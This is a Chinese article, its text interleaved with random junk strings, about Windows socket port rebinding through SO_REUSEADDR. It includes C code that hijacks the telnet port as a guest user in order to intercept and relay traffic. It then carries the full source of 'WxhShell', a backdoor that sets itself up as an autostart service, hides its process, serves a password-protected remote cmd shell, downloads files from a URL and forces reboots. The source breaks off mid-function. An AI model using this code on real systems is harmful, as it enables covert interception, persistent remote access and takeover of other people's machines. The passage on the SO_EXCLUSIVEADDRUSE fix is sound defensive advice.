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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `"GD'Oa s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8uyVx9C0 u+(e,t saddr.sin_family = AF_INET; 3i>$g3G b'3#FI=: saddr.sin_addr.s_addr = htonl(INADDR_ANY); MMhd -B1O& $N,9e bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0<nKB}9 YX^{lD1Jj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q/Q^\HTk tSYeZ~ 这意味着什么?意味着可以进行如下的攻击: d@C ;rzR ZJy
D/9y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dH?pQ
uBl&|yvxB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b.YQN' tHJ1MDw' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ot_jG) Qksw+ZjY#{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ;1(OC-2>d DgClN:Hw 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fQOaTsyA %6Hn1'7+v 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JC>}(yQA 1;? L:A 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'v6Rd)E\z r)+dK}xl #include H#w?$?nIWu #include KgAc0pz{7H #include AuO%F
YKY #include Kh$L~4l DWORD WINAPI ClientThread(LPVOID lpParam); dr'6N1B@ int main() ?ZTB u[ { &hV;3"; WORD wVersionRequested; `f6Qd2\ DWORD ret; `e`4[I WSADATA wsaData; -z'@Mh|i6l BOOL val; vaTXu* SOCKADDR_IN saddr; .P=!M SOCKADDR_IN scaddr; 1$".7}M4$ int err; Wz=ZhE9g SOCKET s; I]I5!\\ &[ SOCKET sc; T,WWQm int caddsize; ?W.Y
x7c HANDLE mt; r9b`3yr= DWORD tid; K''b)v X4 wVersionRequested = MAKEWORD( 2, 2 ); azE>uEsE
err = WSAStartup( wVersionRequested, &wsaData ); &<tji8Dj if ( err != 0 ) { uVp R^
printf("error!WSAStartup failed!\n"); K
=7(=Y{ return -1; 1$xt=*.u| } UAcABL^2 saddr.sin_family = AF_INET; N3x}YHFF W_iP/xL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >"`:w
?I7H ): saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d%]7: saddr.sin_port = htons(23); h[XGFz if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N>]u;HjH { q!O~* printf("error!socket failed!\n"); W@UHqHr:\ return -1; WZFV8' } EEkO[J[= val = TRUE; Y~Jq ! //SO_REUSEADDR选项就是可以实现端口重绑定的 $f)Y
!<bC if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \u)s Zh { gO$!_!@LM printf("error!setsockopt failed!\n"); c=@=lGgo return -1; @]2cL } F"0tv$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %mI`mpf //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x6$P(eN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r)7A# 3wId B\<zU if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9cj=CuE { 2V~Yb1P ret=GetLastError(); u$a%{46 printf("error!bind failed!\n"); ]?<uf40Mm return -1; 34P?nW( } {ifYr(|p` listen(s,2); l@Ml8+ while(1) hob%'Y5%D { V}aXS;(r% caddsize = sizeof(scaddr); y-Z*qR? //接受连接请求 M4DRG%21 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -MOf[f^ if(sc!=INVALID_SOCKET) ~Q6ufTGhpM { C w$y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3J:!8Gmk if(mt==NULL) P@*whjPmo { T1e}WJbFE printf("Thread Creat Failed!\n"); fY-{,+ `' break; &}P62& } 5gEUE {S } !hJKI.XH CloseHandle(mt); ,:;_j<g`e } Y<kvJb&1* closesocket(s); v"bOv"!al WSACleanup(); yWX:`*GV return 0; HPt" } T>1E DWORD WINAPI ClientThread(LPVOID lpParam) W=G[hT5L{ { KH[%HN5v SOCKET ss = (SOCKET)lpParam; { >4exyu6 SOCKET sc; T=>&`aZH unsigned char buf[4096]; IS8ppu&E SOCKADDR_IN saddr; YE0s5bB6 long num; ggbew6L$Z DWORD val; 2I#fwsb DWORD ret; mNuv>GAb //如果是隐藏端口应用的话,可以在此处加一些判断 mD0pqK //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 :uMD$zF'5 saddr.sin_family = AF_INET; 8-+IcyUza saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -5E%f|U saddr.sin_port = htons(23); i[FBll- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _#-(XQ a { ?)JW}3<. printf("error!socket failed!\n"); 2^Y1S?g. return -1; XmXHs4 } [81k4kU val = 100; 9]d$G$Kv9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Kk#8r+, { WE=`8`Li ret = GetLastError(); RAxA H return -1; +]I7) } Y&+<'FA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C' ny 2>uA { R%b,RH# ret = GetLastError(); Z*` CK^^~ return -1; #t{?WkO[ } '8dgYj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s%p(_pB { bBg?x
4bu printf("error!socket connect failed!\n"); YK_a37E{F closesocket(sc); Bz]64/ closesocket(ss); p+yU!Qj return -1; tn:9 } Ag}>gbz~G while(1) ~ZL}j+L/ { ^i@t OtS //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C}W/9_I6Uo //如果是嗅探内容的话,可以再此处进行内容分析和记录 B Q".$(c
q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -a/5 num = recv(ss,buf,4096,0); D'A)H if(num>0) ("IRv>} 0 send(sc,buf,num,0); C2!POf;GdN else if(num==0) qzmY]N+w| break; 8=<d2u' num = recv(sc,buf,4096,0); t7R; RF if(num>0) P\w.:.2 send(ss,buf,num,0); @8DA else if(num==0) 2j(w*k
q~ break; m&o&XVC } PcJ,Y\"[ closesocket(ss); ^<ayPV)+ closesocket(sc); kOJs;k return 0 ; [UFLL:_sC } 4Mnne'7 J]Uki*s Rl$NiY?2 ========================================================== lSQANC' ']4sx_)S 下边附上一个代码,,WXhSHELL {TlS)i` M~P}80I ========================================================== V#5BZU- 1<ZvHv #include "stdafx.h" }vp\lKP <7u*OYjA #include <stdio.h> J[]YG+r #include <string.h> .Ml}cE$L #include <windows.h> ]cFqKs #include <winsock2.h> eWcS>N #include <winsvc.h> v#=- #include <urlmon.h> [4sbOl5yZ R.+QK6B& #pragma comment (lib, "Ws2_32.lib") lvk(q\-f #pragma comment (lib, "urlmon.lib") +loD{
k\1q Jr #define MAX_USER 100 // 最大客户端连接数 d;)Im
" #define BUF_SOCK 200 // sock buffer wcB-)Ra #define KEY_BUFF 255 // 输入 buffer C:$ l H [u/g =^+u #define REBOOT 0 // 重启 3Pkzzyk_|D #define SHUTDOWN 1 // 关机 E^Q|v45d ^tae
(} #define DEF_PORT 5000 // 监听端口 S}ZM;M }U%2)M #define REG_LEN 16 // 注册表键长度 )2u=U9 #define SVC_LEN 80 // NT服务名长度 QvjsI;CQ- v8_HaA$5Y // 从dll定义API =f=MtH?0y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9C3q4.$D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k}Ahvlq) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |.)dOk,o typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f;
>DM 7S 1
Y) // wxhshell配置信息 rEs,o3h?po struct WSCFG { 0|P RCq int ws_port; // 监听端口 [2.pZB char ws_passstr[REG_LEN]; // 口令 4k<4=E int ws_autoins; // 安装标记, 1=yes 0=no xHe<TwkI char ws_regname[REG_LEN]; // 注册表键名 vsHY; [ char ws_svcname[REG_LEN]; // 服务名 o#H"tYP char ws_svcdisp[SVC_LEN]; // 服务显示名 EZE/~$`3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;R 'OdQ$o char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w6v P
a int ws_downexe; // 下载执行标记, 1=yes 0=no A)s char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" om9fg66 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pH'#v]" ep>S$a*| }; U!^\DocAY :Uj+iYE8Z8 // default Wxhshell configuration W UDQb5k struct WSCFG wscfg={DEF_PORT, cYmMO[4YG' "xuhuanlingzhe", 3($%A GKJ 1, :Y~fPke "Wxhshell", Y(W>([59 "Wxhshell", RY&Wvkjh "WxhShell Service", z(K[i?& "Wrsky Windows CmdShell Service", 1k3wBc5< "Please Input Your Password: ", * t{A=Wk 1, ?VO*s-G:J " http://www.wrsky.com/wxhshell.exe", dX,2cK[aG "Wxhshell.exe" ub0]nov }; buG0#: ~'=s?\I // 消息定义模块 ko$bCG% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9bq#&~+ char *msg_ws_prompt="\n\r? for help\n\r#>"; F=$2Gz
'RT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ={YW*1Xw char *msg_ws_ext="\n\rExit."; 9Clddjf?c char *msg_ws_end="\n\rQuit."; bu,Z' char *msg_ws_boot="\n\rReboot..."; VQ{}S $jQ char *msg_ws_poff="\n\rShutdown..."; thl{IU char *msg_ws_down="\n\rSave to "; d]$z&E |:L<Ko char *msg_ws_err="\n\rErr!"; Ojr{z char *msg_ws_ok="\n\rOK!"; K{t7_i#tv %AXa(C\1 char ExeFile[MAX_PATH]; Cd"O'<^Sb int nUser = 0; Iy6"2$%a HANDLE handles[MAX_USER]; ?_(0cVi int OsIsNt; #rF|X6P rhHX0+ SERVICE_STATUS serviceStatus; #/MUiV SERVICE_STATUS_HANDLE hServiceStatusHandle; 8s6[?=nM <dLdSEw // 函数声明 z2A7:[ int Install(void); n!~{4
uUW int Uninstall(void);
9 k)?- int DownloadFile(char *sURL, SOCKET wsh); Gdi1lYu6V int Boot(int flag); IM7k\ void HideProc(void); 0bzD-K4WVd int GetOsVer(void); 6Z\[{S]; int Wxhshell(SOCKET wsl); $._p !, < void TalkWithClient(void *cs); =YR/X@& int CmdShell(SOCKET sock); $ThkK3 int StartFromService(void); LK)0g 4{ int StartWxhshell(LPSTR lpCmdLine); ,H'O`oV!1E & 2& K9R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9<W0'6%{/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); i:ZpAo+Z{ .^X IZ // 数据结构和表定义 {UT^pIP\ SERVICE_TABLE_ENTRY DispatchTable[] = M#IGq { #K yb9Qg {wscfg.ws_svcname, NTServiceMain}, *.8@hPy {NULL, NULL} /g< T)$2 }; GX4# IRq g0 \c // 自我安装 IwiR2K int Install(void) 7ZI!$J| { .zAB)rNc
| char svExeFile[MAX_PATH]; D"El6<3)h HKEY key; 5YQ4]/h strcpy(svExeFile,ExeFile); <2HI. @^ 9(dbou // 如果是win9x系统,修改注册表设为自启动 .-k\Q}D if(!OsIsNt) { o;7!$v>uK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J'sVT{@GS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^!3Sz1 RegCloseKey(key); k$9oUE, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !rlN|HB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vClD)Ar RegCloseKey(key); /~'ZtxA return 0; (@vu/yN } AA:Ch? } Z f4Xt
Yn } "i<i.6| else { ~Yv"= WFocA: // 如果是NT以上系统,安装为系统服务 <VS\z(K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XsQ?&xK=u if (schSCManager!=0) QHUoAa`6v { n9B1NM5 \ SC_HANDLE schService = CreateService jFZJ #'CNS ( 3l0x~ schSCManager, 3+;]dqZ wscfg.ws_svcname, v<,?%(g)7 wscfg.ws_svcdisp, ~vy_~|6s SERVICE_ALL_ACCESS, CL5u{i5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cfyN)#9 SERVICE_AUTO_START, iEux`CcJ. SERVICE_ERROR_NORMAL, =5a~xlBjD svExeFile, L&+XFntR NULL, d}GO( NULL,
"<SK=W NULL, H1N_ NULL, Edj}\e*-J NULL s(q\!\FS ); V/j+Z1ZW if (schService!=0) <v&>&;>3 { R;,+0r^i CloseServiceHandle(schService); 7rw}q~CE5 CloseServiceHandle(schSCManager); 7Co
}4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {aqceg strcat(svExeFile,wscfg.ws_svcname); 6 :K~w<mMJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I9h?Z&n5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3rhH0{ RegCloseKey(key); /[`bPKr return 0; i|0H {q } 7_)'Re# } CS"2Sd 1` CloseServiceHandle(schSCManager); 5 5>^H1M } @[D-2s } eVL'Ao&Ho a]|P rjPI return 1; `So*\#\T } &uI`Xq. ;?"2sS!AHQ // 自我卸载 js/N qf2> int Uninstall(void) J~9l+? { yf(VwU,
x HKEY key; ?ntyF-n& W]{mEB if(!OsIsNt) { !>W _3Ea if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { glbU\K> > RegDeleteValue(key,wscfg.ws_regname); g|tnYN RegCloseKey(key); nKC$
KC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D|}
y{~ RegDeleteValue(key,wscfg.ws_regname); pi[:"}m]/P RegCloseKey(key); 23BzD^2a return 0; f8'D{OP"G } hVo]fD|W } T},Nqt< } OV8Y)%t" else { xG@zy4 [vV]lWOp' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fmILkXKz if (schSCManager!=0) dp\pkx7 { M^DYzJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =t\HtAXn[ if (schService!=0) $q);xs { +K,]#$k if(DeleteService(schService)!=0) { xH#R_ CloseServiceHandle(schService); usnbGkq CloseServiceHandle(schSCManager); UmZ#Cm return 0; ig3HPlC } Vi[* a CloseServiceHandle(schService); :
&>PN,q> } zBV7b| j CloseServiceHandle(schSCManager); A
q;]al } 3QM6M9M } 4Z5ZV! 9#L0Q%,* return 1; JJ[.K*dO } Hz&a~ wK0vKdi // 从指定url下载文件 *U|K~dl]K int DownloadFile(char *sURL, SOCKET wsh) cl:h'aG { :t+XW`eQR: HRESULT hr; MgyV{` char seps[]= "/"; ZE863M@. char *token; A
J<Sa= char *file; 6 Ty;m>j char myURL[MAX_PATH]; `3m7b!0k char myFILE[MAX_PATH]; J24<X9b 'F.Da#st!} strcpy(myURL,sURL); D&KRJQ/ token=strtok(myURL,seps); 1Ys6CJ# while(token!=NULL) 4/e|N#1`;[ {
MgkeD file=token; qT}<D`\ token=strtok(NULL,seps); tJ`tXO } w6(E$:#d C)66^l!x GetCurrentDirectory(MAX_PATH,myFILE); E0]B=- strcat(myFILE, "\\"); Y3^UJe7E strcat(myFILE, file); p(o"K@I send(wsh,myFILE,strlen(myFILE),0); #InuN8sI send(wsh,"...",3,0); 2>3#/I9Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }xXUCU< if(hr==S_OK) |#G.2hMFr return 0; ]/&qv6D*d else 5'>DvCp%M return 1; ,Axk\7- DtLga[M } VJquB8?H
%"kF i // 系统电源模块 r/o1a't; int Boot(int flag) uL| Wuq { o6L\39v_ HANDLE hToken; hq[;QF:B TOKEN_PRIVILEGES tkp; Bc{j0Su sI>I if(OsIsNt) { &f48MtE OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [H ^ktF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s?r:McF` tkp.PrivilegeCount = 1; 6Q\0v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gD`|N@W$5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {}>s0B if(flag==REBOOT) { i [,9hp if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5Us$.p return 0; _D<=Yo } 4h% G %>j else { TKJs'%Q7F6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IqEE.XhaK return 0; !C ]5_ } x -CTMKX } fL-lx-~ else { S~L;oX?(! if(flag==REBOOT) { oihn`DY{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iF0x>pvJ@ return 0; X+6`]] } `b.KMOn else { "&!7wH ,A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |7XPu return 0; V
,#
|\ } ]/31@RT }
rvPY .tRp return 1; ?w/i;pp<, } V\Q=EsHj
CYkU- // win9x进程隐藏模块 F_C7S void HideProc(void) P D,s,A { `X;' *E]e ,v<GSiO HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7ns n8WN[ if ( hKernel != NULL ) ldFK3+V { NA@<v{z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pf&H !-M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); | R\PQ/) FreeLibrary(hKernel); P_7QZ0k/ } OO$YwOKS 8s+9PE return; >aw`kr } 'c]Fhe fb Ddu1>"p-x // 获取操作系统版本 5B:%##Ug5 int GetOsVer(void) *yX5g,52-| { VPC7Dh%. OSVERSIONINFO winfo; 0Wd2Z-I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?LxBH-o( GetVersionEx(&winfo); %X|fp{C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kh7RQbNY<I return 1; ([g[\c,H else Sm7O%V8{p return 0; E}qW' } d1[;~) 3rdrNc // 客户端句柄模块 ;,WI_iP(w int Wxhshell(SOCKET wsl) O%Hc%EfG { Qk5pRoL_ SOCKET wsh; 'sII/sq`( struct sockaddr_in client; W{@,DQ DWORD myID; e@j&c:p(Y 6VUkZKc while(nUser<MAX_USER) ?b,4mDptE { ^pc?oDPSg int nSize=sizeof(client); frh!dN
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '?gF9: if(wsh==INVALID_SOCKET) return 1; qpt},yn)C T<a/GE/
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fpPB_P{Ua if(handles[nUser]==0) t ZL|;K closesocket(wsh); s@$SM,tnn else 6x*$/1'M3; nUser++; 59R%g .2Y } ;:WM^S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uge~*S yhPO$L return 0; xGkc_ } 6 d;_} L>3- z>u, // 关闭 socket #qnK nxD void CloseIt(SOCKET wsh) O-3R#sZ0 { )i^+=TZ q closesocket(wsh); Jc=~BT_G nUser--; vB?(| ExitThread(0); v?@=WG } t3l-]
8MZ:= // 客户端请求句柄 lWyg_YO@ void TalkWithClient(void *cs) n1Z*wMwC { ,5XDH6L1 H~1o^
gU SOCKET wsh=(SOCKET)cs; &Hj1jM' char pwd[SVC_LEN]; oF(=@UL char cmd[KEY_BUFF]; j6&q6C X char chr[1]; F?c:
).g int i,j; xoB "hNIX w3>.d(Q while (nUser < MAX_USER) { O>c2*9PM SB)Hz8< if(wscfg.ws_passstr) { N5F+h94z] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AMSn^75 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Io*mFa? //ZeroMemory(pwd,KEY_BUFF); b/]@G05>> i=0; 1nZ7xCDK98 while(i<SVC_LEN) { Fs_zNN Ly~s84k_po // 设置超时 cT.8&EEW fd_set FdRead; IxU#x* struct timeval TimeOut; 6j6P&[ FD_ZERO(&FdRead); @xkI?vK6 FD_SET(wsh,&FdRead); )VM'^sV? TimeOut.tv_sec=8; /ReOf<%B TimeOut.tv_usec=0; (GJX[$@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6DxT(VU} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cs-dvpMZ vO
3-B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yyv<MSU8 pwd =chr[0]; '{F
Od_uk% if(chr[0]==0xd || chr[0]==0xa) { VthM`~3 pwd=0; PBY;SG~ break; SrT=XX, } 6xW17P i++; p9Y`_g` } `]$H\gNI[8 ,AuejMd // 如果是非法用户,关闭 socket R-]i BL if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'iikcf*)C } FNHJHuTe dz"HO!9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {^N90,! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T,uVt^.R+ IuOQX} while(1) { d$<1Ma} 15Vo_
wD<y ZeroMemory(cmd,KEY_BUFF); 'Im&&uSkr Epm%/ {sHV // 自动支持客户端 telnet标准 &B@qb?UE1 j=0; W:y'a3~ while(j<KEY_BUFF) { wpepi8w, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $E35W=~) cmd[j]=chr[0]; ;Ebpf J if(chr[0]==0xa || chr[0]==0xd) { ,&aD
U cmd[j]=0; VCCG_K9' break; yiAusl; } lFc4| _c g j++; z\6/?5D#v } k}908%w kT,2eel // 下载文件 1g1gu=|Q if(strstr(cmd,"http://")) { B[{Ie
G' send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;o?Wn=J if(DownloadFile(cmd,wsh)) |X0Ys8f send(wsh,msg_ws_err,strlen(msg_ws_err),0); I%#
e\ else n,o;:c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); idGhWV' } J%ue{PL7 else { Ku<_N]9 &k0c|q] switch(cmd[0]) { zE_t(B(Q gLQbA$gB // 帮助 P#x]3j] case '?': { *h Bo,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d
A' h7D break; L}.V`v{zc } :taRCh5 // 安装 #7dM % case 'i': { JrVBd hLr if(Install()) fH[:S9@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); !|;w(/ else 2apQ4)6#[H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i'NN break; :rX/ILAr } n$YCIW)0 // 卸载 'P,F)*kh case 'r': { G[[NDK if(Uninstall()) ^bckl
tSo send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]J6+nA6)
else bmu<V1[W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,';+A{aV break; bcy(
?( } C@q&0\HN // 显示 wxhshell 所在路径 Gj(UA1~1 case 'p': { n:5*Tg9 char svExeFile[MAX_PATH]; yi9c+w)b strcpy(svExeFile,"\n\r"); 6P:H` strcat(svExeFile,ExeFile); ;3k6_ub send(wsh,svExeFile,strlen(svExeFile),0); G9uWn%5r break; `Ao;xOJ } 8L}N,6gC4_ // 重启 Zjh9jvsW case 'b': { ?FRQ!R send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fl18x;^I if(Boot(REBOOT)) u#m(Py send(wsh,msg_ws_err,strlen(msg_ws_err),0); )#n>))
else { !WReThq closesocket(wsh); ^Wz3 q-^ ExitThread(0); [j`-R
0Np } _ Oe|ZQ break; gDJ@s
} .1C|J // 关机 /@\3#2; case 'd': { 3((53@s98 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _*w}"\4_ if(Boot(SHUTDOWN)) 4ng*SE_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); I NE,/a= else { PX1Scvi closesocket(wsh); 6uH1dsD ExitThread(0); SY}iU@xo } <AB.`[" break; T6ZJ SKM } ,-XJ@@2gM // 获取shell t(:6S$6{e case 's': { e[@
^UY CmdShell(wsh); .iL_3:6f closesocket(wsh);
K{00 V# ExitThread(0); x{|n>3l`b9 break; uPpRzp } dsxaxbVj% // 退出 d4P0f'.z case 'x': { 5}4MXI4 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TIa`cU` CloseIt(wsh); (u
>:G6K break; kty,hAXe } Px4zI9;cB // 离开 " lf_`4 case 'q': { ]41G!'E= send(wsh,msg_ws_end,strlen(msg_ws_end),0); uhLg2G^h closesocket(wsh); ^JMSe- WSACleanup(); :6z0Ep" exit(1); : |c,.uO break; :l>T~&/98 } cF[[_ } XabrX|B# } b+M[DwPw qpl "j- // 提示信息 ~j\/3;^s
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CW=-@W7 } EtH)E) } "A:wWb<m I$`Vw > return; ytmlG% } j$]t`6gG ++13m*fA // shell模块句柄 6iFd[<.*j int CmdShell(SOCKET sock) I#Tl { g-% uw[pf STARTUPINFO si; <!zItFMD[m ZeroMemory(&si,sizeof(si)); *qG=p` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m[{*an\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qgca4VV|z PROCESS_INFORMATION ProcessInfo; y( MF_'l char cmdline[]="cmd"; CFZ=!s)B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zF]hfP0Q return 0; |l ~BdP } $}k"wI[ AX1'.
// 自身启动模式 7Hpsmfm int StartFromService(void) ){>;eky { @ z#k~ typedef struct SAG)vmm { (>0d+ KT DWORD ExitStatus; ?V[yw=sl04 DWORD PebBaseAddress; z PV/{)S DWORD AffinityMask; G-n`X":$DT DWORD BasePriority; z6G^ BaT' ULONG UniqueProcessId; ~|J6M ULONG InheritedFromUniqueProcessId; uB,B%XHj } PROCESS_BASIC_INFORMATION; !4jS=Lhe> fV}\ PROCNTQSIP NtQueryInformationProcess; %e%nsj6 JZL!(>tI static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q{7s.m
> static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x el&8 ` 317Buk HANDLE hProcess; ]V@!kg(p8 PROCESS_BASIC_INFORMATION pbi; {=g-zsc]K ?EX'j
> HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8d)F# if(NULL == hInst ) return 0; _n}!1(xYa` b9y
